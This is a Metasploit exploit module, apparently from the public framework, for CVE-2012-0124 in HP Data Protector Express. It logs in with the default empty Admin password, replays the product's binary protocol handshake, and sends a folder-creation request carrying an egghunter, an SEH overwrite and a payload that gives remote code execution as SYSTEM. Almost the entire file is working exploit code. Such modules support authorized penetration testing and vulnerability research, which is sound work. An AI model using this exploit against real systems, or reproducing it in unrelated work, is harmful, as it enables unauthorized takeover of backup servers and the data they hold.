##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Data Protector Create New Folder Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP Data Protector 5. The overflow
        occurs in the creation of new folders, where the name of the folder is handled in a
        insecure way by the dpwindtb.dll component. While the overflow occurs in the stack, the
        folder name is split in fragments in this insecure copy. Because of this, this module
        uses egg hunting to search a non corrupted copy of the payload in the heap. On the other
        hand the overflowed buffer is stored in a frame protected by stack cookies, because of
        this SEH handler overwrite is used.

        Any user of HP Data Protector Express is able to create new folders and trigger the
        vulnerability. Moreover, in the default installation the 'Admin' user has an empty
        password. Successful exploitation will lead to code execution with the privileges of
        the "dpwinsdr.exe" (HP Data Protector Express Domain Server Service) process, which
        runs as SYSTEM by default.
      },
      'Author'         =>
        [
          'juan vazquez',
          'sinn3r'
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0124' ],
          [ 'OSVDB', '80105' ],
          [ 'BID', '52431' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/07/06/an-example-of-egghunting-to-exploit-cve-2012-0124' ]
        ],
      'Payload'        =>
        {
          'Space' => 2000,
          'BadChars' => "\x00\x2f\x5c",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['HP Data Protector Express 6.0.00.11974 / Windows XP SP3',
            {
              'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
              'Offset' => 2734
            }
          ],
          ['HP Data Protector Express 5.0.00.59287 / Windows XP SP3',
            {
              'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
              'Offset' => 2730
            }
          ],
        ],
      'DefaultTarget' => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 12 2012'
      ))
      register_options(
      [
        Opt::RPORT(3817),
        OptString.new('USERNAME', [ true, 'The username to authenticate as','Admin' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username','' ])
      ])
  end

  # dpwinsup!SvcEncrypt2
  def encrypt_password(password)
    if not password or password.empty?
      return ""
    end

    result = ""
    count = 0x80

    i = 0
    dl = 0
    al = password.unpack("C*")[i]

    while count > 2
      al = al + dl
      if al >= 0x100 then al = al - 0x100 end
      al = al + 0x22
      if al >= 0x100 then al = al - 0x100 end
      al = al ^ 0x2b
      if al >= 0x100 then al = al - 0x100 end
      al = al + 0x4c
      if al >= 0x100 then al = al - 0x100 end
      al = al ^ 0x5f
      if al >= 0x100 then al = al - 0x100 end
      al = al - dl
      if al >= 0x100 then al = al - 0x100 end
      bl = al
      if bl >= 0x100 then bl = bl - 0x100 end
      bl = bl >> 4
      if bl >= 0x100 then bl = bl - 0x100 end
      bl = bl + 0x41
      if bl >= 0x100 then bl = bl - 0x100 end
      result << [bl].pack("C")
      al = al & 0xf
      if al >= 0x100 then al = al - 0x100 end
      al = al + 0x41
      if al >= 0x100 then al = al - 0x100 end
      i = i + 1
      result << [al].pack("C")
      dl = dl + 5
      if dl >= 0x100 then dl = dl - 0x100 end
      count = count - 2
      if i >= password.length
        return result
      end
      al = password.unpack("C*")[i]

    end
    return result
  end

  def exploit
    connect

    machine_name = rand_text_alpha(15)

    print_status("#{sock.peerinfo} - Sending Hello Request")

    if target.name =~ /HP Data Protector Express 5/
      hello =  "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
      hello << "\x3a\x53\xa5\x71\x06\x20\x80\x00" << "\x6a\x02\xaf\x03\xf8\xc5\xc7\x02"
      hello << "\x01\x00\x00\x00\xc0\xa8\x01\x85" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      hello << "\x00\x00\x00\x00"
      hello << machine_name << "\x00"
      hello << "\x5b\x2e\xad\x71\x50\x03\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
      hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xf8\x31\x0a\x10"
      hello << "\x50\x03\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x6c\xfa"
    else # HP Data Protector 6
      hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x01\x01\x00\x00\x92\x00\x00\x00"
      hello << "\x3a\x53\xa5\x71\x03\x20\x80\x00" << "\xdf\x6e\x4a\x00\xbf\x41\x3b\x00"
      hello << "\x01\x00\x00\x00\xc0\xa8\x01\x84" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      hello << "\x00\x00\x00\x00"
      hello << machine_name << "\x00"
      hello << "\x5b\x2e\xad\x71\x7c\x03\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
      hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\x08\xf4\x06\x10"
      hello << "\x7c\x03\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x70\xfa"
    end

    sock.put(hello)
    hello_response = sock.get_once(-1, 10)

    if not hello_response or hello_response.empty?
      print_error("#{sock.peerinfo} - The Hello Request haven't had response")
      return
    end

    print_status("#{sock.peerinfo} - Sending Authentication Request")

    if target.name =~ /HP Data Protector Express 5/
      auth =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x18\x00\x00\x00\xa4\x01\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x01\x10\x00\x00" << "\xd1\x00\x97\x4e\xb8\xe7\x03\x00"
      auth << "\xd5\x21\xe6\xff"
    else # HP Data Protector 6
      auth = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x18\x00\x00\x00\xa4\x01\x00\x00"
      auth << "\x00\x00\x00\x00\x41\x64\x6d\x69" << "\x6e\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
      auth << "\x00\x00\x00\x00\x01\x10\x00\x00" << "\x41\xbf\xf1\x4f\x67\xdd\x05\x00"
      auth << "\x73\xd8\xed\xff"
    end

    user = datastore['USERNAME']
    pass = encrypt_password(datastore['PASSWORD'])
    auth[20, user.length] = user
    if pass and not pass.empty?
      auth[276, pass.length] = pass
    end

    sock.put(auth)
    auth_response = sock.get_once(-1, 10)
    if not auth_response or auth_response.empty?
      print_error("#{sock.peerinfo} - The Authentication Request haven't had response")
      return
    end

    print_status("#{sock.peerinfo} - Sending Token Request")
    request_token =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x02\x00\x00\x00\x24\x00\x00\x00"
    request_token << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    request_token << "\x07\x00\x00\x00"

    sock.put(request_token)
    response_token = sock.get_once(-1, 10)
    if not response_token or response_token.empty?
      print_error("#{sock.peerinfo} - The Token Request haven't had response")
      return
    end

    print_status("#{sock.peerinfo} - Sending Home Identifier Request")
    request_home_identifier =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x03\x00\x00\x00\x30\x00\x00\x00"
    request_home_identifier << "\x00\x00\x00\x00"
    request_home_identifier << response_token[-8,8]
    request_home_identifier << "\x02\x10\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x01\x00\xff\xff"
    request_home_identifier << "\x00\x00\x00\x00"

    sock.put(request_home_identifier)
    response_home_identifier = sock.get_once(-1, 10)
    if not response_home_identifier or response_home_identifier.empty?
      print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response")
      return
    end

    print_status("#{sock.peerinfo} - Sending Home Contents Request")
    request_home_contents =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x04\x00\x00\x00\x3c\x00\x00\x00"
    request_home_contents << "\x00\x00\x00\x00\x00\x00\x00\x00"
    request_home_contents << response_token[-8,8]
    request_home_contents << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x02\x10\x00\x00"
    request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00"

    sock.put(request_home_contents)
    response_home_contents = sock.get_once(-1, 10)
    if not response_home_contents or response_home_contents.empty?
      print_error("#{sock.peerinfo} - The Home Contents Request haven't had response")
      return
    end

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })
    my_payload = egg
    my_payload << rand_text(target['Offset']-my_payload.length)
    my_payload << generate_seh_record(target.ret)
    my_payload << hunter

    print_status("#{sock.peerinfo} - Sending Create Object Request")
    create_object_request =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x06\x00\x00\x00\x39\x11\x00\x00"
    create_object_request << "\x00\x00\x00\x00"
    create_object_request << response_token[-8,8]
    create_object_request << response_home_contents[20, 14] << "\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x20\x03\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
    create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00"
    create_object_request << my_payload << "\x00"

    create_object_request[12, 4] = [create_object_request.length].pack("V")

    sock.put(create_object_request)

    disconnect
  end
end
